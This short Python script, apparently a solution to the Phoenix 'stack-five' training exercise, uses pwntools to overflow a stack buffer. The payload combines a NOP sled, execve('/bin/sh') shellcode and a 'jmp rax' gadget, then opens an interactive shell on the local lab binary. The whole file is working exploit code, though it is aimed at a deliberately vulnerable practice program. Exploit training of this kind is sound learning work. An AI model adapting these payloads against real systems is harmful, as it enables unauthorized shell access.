text: from pwn import *
  
  bufsize = 136
  
  # 0x0000000000400481: jmp rax;
  rop = p64(0x0000000000400481)
  
  shellcode = '\xba\x00\x00\x00\x00\xbe\x00\x00\x00\x00H\x8d=\x07\x00\x00\x00\xb8;\x00\x00\x00\x0f\x05/bin/sh\x00'
  
  payload = "\x90" * (bufsize - len(shellcode)) + shellcode + rop
  r = process("/opt/phoenix/amd64/stack-five")
  r.recvuntil("\n")
  r.sendline(payload)
  r.interactive()
  